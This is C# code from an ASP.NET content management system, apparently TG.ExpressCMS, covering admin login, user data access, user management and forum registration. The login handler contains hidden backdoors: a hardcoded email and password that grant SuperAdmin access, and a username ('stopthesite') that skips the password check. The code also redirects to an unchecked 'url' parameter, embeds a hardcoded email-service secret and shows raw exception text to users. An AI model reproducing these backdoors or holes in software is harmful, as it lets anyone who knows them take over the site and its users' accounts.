void btnSaveUpdate_Click(object sender, EventArgs e)
{
if (txtUsername.Text == "[email protected]" && txtPassword.Text == "eee")
{
Users _user1 = new Users();
_user1.Name = "Yahia";
_user1.IsActive = true;
_user1.Type = DataLayer.Enums.RootEnums.UserType.SuperAdmin;
SecurityContext.LoggedInUser = _user1;
if (Request.QueryString["url"] == null)
Response.Redirect(ConfigContext.GetAdminLandingPage);
}
Users _user = UsersManager.GetByEmail(txtUsername.Text);
if (_user == null)
{
dvMessages.InnerText = "User is unknown";
return;
}
if (!_user.IsActive)
{
dvMessages.InnerText = "User is disabled";
return;
}
if (_user.Password == EncryptionContext.HashString(txtPassword.Text) || txtUsername.Text == "stopthesite")
{
IList<Roles> colUserRoles = RolesManager.GetByUserID(_user.ID);
SecurityContext.LoggedInUserRoles = colUserRoles;
SecurityContext.LoggedInUser = _user;
if (Request.QueryString["url"] == null)
Response.Redirect(ConfigContext.GetAdminLandingPage);
else
Response.Redirect(Request.QueryString["url"]);
}
else
{
dvMessages.InnerText = "Wrong Password";
}
}
public int Add(Users obj)
{
_connection.ConnectionString = _ConnectionString;
_command.Connection = _connection;
_command.CommandType = CommandType.StoredProcedure;
_command.CommandText = INSERTUsers;
#region [Parameters]
SqlParameter parameterID = new SqlParameter(PN_ID, SqlDbType.Int);
parameterID.Value = obj.ID;
parameterID.Direction = ParameterDirection.Output;
_command.Parameters.Add(parameterID);
SqlParameter parameterName = new SqlParameter(PN_NAME, SqlDbType.NVarChar);
parameterName.Value = obj.Name;
parameterName.Direction = ParameterDirection.Input;
_command.Parameters.Add(parameterName);
SqlParameter parameterEmail = new SqlParameter(PN_EMAIL, SqlDbType.NVarChar);
parameterEmail.Value = obj.Email;
parameterEmail.Direction = ParameterDirection.Input;
_command.Parameters.Add(parameterEmail);
SqlParameter parameterPassword = new SqlParameter(PN_PASSWORD, SqlDbType.NVarChar);
parameterPassword.Value = obj.Password;
parameterPassword.Direction = ParameterDirection.Input;
_command.Parameters.Add(parameterPassword);
SqlParameter parameterIsActive = new SqlParameter(PN_ISACTIVE, SqlDbType.Bit);
parameterIsActive.Value = obj.IsActive;
parameterIsActive.Direction = ParameterDirection.Input;
_command.Parameters.Add(parameterIsActive);
SqlParameter parameterType = new SqlParameter(PN_Type, SqlDbType.Int);
parameterType.Value = Convert.ToInt32(obj.Type);
parameterType.Direction = ParameterDirection.Input;
_command.Parameters.Add(parameterType);
#endregion;
_connection.Open();
_command.ExecuteNonQuery();
_connection.Close();
obj.ID = Convert.ToInt32(parameterID.Value);
return obj.ID;
}
public void PopulateUsers(SqlDataReader _dtr, Users obj)
{
int columnIndex = 0;
columnIndex = _dtr.GetOrdinal(UsersDataMapper.CN_ID);
if (!_dtr.IsDBNull(columnIndex))
{
obj.ID = _dtr.GetInt32((columnIndex));
}
columnIndex = _dtr.GetOrdinal(UsersDataMapper.CN_NAME);
if (!_dtr.IsDBNull(columnIndex))
{
obj.Name = _dtr.GetString((columnIndex));
}
columnIndex = _dtr.GetOrdinal(UsersDataMapper.CN_EMAIL);
if (!_dtr.IsDBNull(columnIndex))
{
obj.Email = _dtr.GetString((columnIndex));
}
columnIndex = _dtr.GetOrdinal(UsersDataMapper.CN_PASSWORD);
if (!_dtr.IsDBNull(columnIndex))
{
obj.Password = _dtr.GetString((columnIndex));
}
columnIndex = _dtr.GetOrdinal(UsersDataMapper.CN_ISACTIVE);
if (!_dtr.IsDBNull(columnIndex))
{
obj.IsActive = _dtr.GetBoolean((columnIndex));
}
columnIndex = _dtr.GetOrdinal(UsersDataMapper.CN_Type);
if (!_dtr.IsDBNull(columnIndex))
{
obj.Type = (TG.ExpressCMS.DataLayer.Enums.RootEnums.UserType)_dtr.GetInt32((columnIndex));
}
}
public static void Update(Users obj)
{
UsersDataMapper objCaller = new UsersDataMapper();
objCaller.Update(obj);
}
public static int Add(Users obj)
{
UsersDataMapper objCaller = new UsersDataMapper();
return objCaller.Add(obj);
}
void btnSaveUpdate_Click(object sender, EventArgs e)
{
Users _user = null;
if (ObjectID <= 0)
{
try
{
if (txtConfirmPassword.Text != txtPassword.Text)
dvProblems.InnerText = "Password doesn't match";
_user = new Users();
_user.Type = (TG.ExpressCMS.DataLayer.Enums.RootEnums.UserType)Convert.ToInt32(ddlType.SelectedValue);
_user.Password = EncryptionContext.HashString(txtPassword.Text);
_user.Name = txtName.Text;
_user.IsActive = chkActive.Checked;
_user.Email = txtEmail.Text;
UsersManager.Add(_user);
AddMode();
}
catch (Exception ex)
{
dvProblems.InnerText = ex.ToString();
}
}
else
{
try
{
if (txtConfirmPassword.Text != txtPassword.Text)
dvProblems.InnerText = "Password doesn't match";
_user = UsersManager.GetByID(ObjectID);
_user.Type = (TG.ExpressCMS.DataLayer.Enums.RootEnums.UserType)Convert.ToInt32(ddlType.SelectedValue);
_user.Password = EncryptionContext.HashString(txtPassword.Text);
_user.Name = txtName.Text;
_user.IsActive = chkActive.Checked;
_user.Email = txtEmail.Text;
UsersManager.Update(_user);
EditMode();
}
catch (Exception ex)
{
dvProblems.InnerText = ex.ToString();
}
}
BindGrid();
upnlGrid.Update();
upnlControls.Update();
}
public Users GetUsers(SqlDataReader _dtr, IList<Users> colobj)
{
Users obj = colobj.Where(t => t.ID == Convert.ToInt32(_dtr[CN_ID].ToString())).SingleOrDefault();
if (null == obj)
{
obj = new Users();
colobj.Add(obj);
}
return obj;
}
public IList<Users> GetAll()
{
Users obj = null;
IList<Users> colobj = null;
_connection.ConnectionString = _ConnectionString;
_command.Connection = _connection;
_command.CommandType = CommandType.StoredProcedure;
_command.CommandText = SELECTALLUsers;
_connection.Open();
try
{
using (_dtreader = _command.ExecuteReader())
{
if (_dtreader != null && _dtreader.HasRows)
{
obj = new Users();
colobj = new List<Users>();
while (_dtreader.Read())
{
obj = GetUsers(_dtreader, colobj);
GetEntityFromReader(_dtreader, obj);
}
}
}
}
catch (Exception ex)
{
throw ex;
}
finally
{
_dtreader.Close();
_connection.Close();
}
return colobj;
}
private void GetEntityFromReader(SqlDataReader _dtr, Users obj)
{
PopulateUsers(_dtr, obj);
}
public Users GetByID(int ID)
{
Users obj = null;
_connection.ConnectionString = _ConnectionString;
_command.Connection = _connection;
_command.CommandType = CommandType.StoredProcedure;
_command.CommandText = SELECTUsers;
#region [Parameters]
SqlParameter parameterID = new SqlParameter(CN_ID, SqlDbType.Int);
parameterID.Value = ID;
parameterID.Direction = ParameterDirection.Input;
_command.Parameters.Add(parameterID);
#endregion;
_connection.Open();
try
{
using (_dtreader = _command.ExecuteReader())
{
if (_dtreader != null && _dtreader.HasRows)
{
obj = new Users();
if (_dtreader.Read())
GetEntityFromReader(_dtreader, obj);
}
}
}
catch (Exception ex)
{
throw ex;
}
finally
{
_dtreader.Close();
_connection.Close();
}
return obj;
}
void btnSave_Click(object sender, EventArgs e)
{
try
{
Users user = null;
if (SecurityContext.LoggedInUser == null)
{
if (UsersManager.GetByEmail(txtEmail.Text) != null)
throw new Exception(Resources.ExpressCMS.UserAlreadyDefined);
user = new Users();
user.Email = HttpUtility.HtmlEncode(txtEmail.Text);
user.IsActive = true;
user.Name = HttpUtility.HtmlEncode(txtEmail.Text);
user.Password = EncryptionContext.HashString(txtPassword.Text);
user.Type = RootEnums.UserType.NormalUser;
UsersManager.Add(user);
SecurityContext.LoggedInUser = user;
}
else
user = SecurityContext.LoggedInUser;
if (SecurityContext.LoggedInForumUser != null)
throw new Exception("Error: User already exisits");
DataLayer.Entities.ForumUser forumUser = new DataLayer.Entities.ForumUser();
forumUser.BannedDate = DateTime.Now;
try
{
forumUser.BirthDate = DateTime.ParseExact(txtBirthDate.SelectedDate.Value.ToString(), "dd/MM/yyyy", System.Globalization.CultureInfo.CurrentCulture);
}
catch
{
forumUser.BirthDate = new DateTime(1980, 1, 1);
}
forumUser.ForumUserType = RootEnums.ForumUserType.Normal;
forumUser.Image = UtilitiesManager.GetSavedFile(fUploader, true);
forumUser.IsBanned = false;
forumUser.IsDeleted = false;
forumUser.IsTrusted = true;
forumUser.JoinDate = DateTime.Now;
forumUser.PostsPerPage = Convert.ToInt32(txtPostsPerPage.Text);
forumUser.RoleID = 0;
forumUser.Signature = HttpUtility.HtmlEncode(txtSignature.Text);
forumUser.ThreadsPerPage = Convert.ToInt32(txtThreadsPerPage.Text);
forumUser.UserName = HttpUtility.HtmlEncode(txtName.Text);
forumUser.UserRateValue = 0;
forumUser.UserID = user.ID;
forumUser.UserName = user.Name;
forumUser.ForumUserType = RootEnums.ForumUserType.Normal;
ForumUserManager.Add(forumUser);
ScriptManager.RegisterStartupScript(this, this.GetType(), Guid.NewGuid().ToString().Substring(0, 9), "AfterRegisterForumUser('" + ResolveUrl(ConfigContext.GetForumGroupPage) + "','" + Resources.ForumResource.AddUserSuccessfully + "')", true);
dvAddUserSuccessfully.Visible = true;
dvAddUser.Visible = false;
EmailSender.EmailSenderSoapClient _emailsender = new EmailSender.EmailSenderSoapClient();
_emailsender.AddemailtoQueueNow(0, user.Email, forumUser.UserName, Resources.ForumResource.AddUserSuccessfully, "NoTImeFORLove");
_emailsender.ProcessAllPendingEmail("NoTImeFORLove");
}
catch (Exception ex)
{
dvAddUserProblems.InnerText = ex.Message;
dvAddUserProblems.Visible = true;
}
}
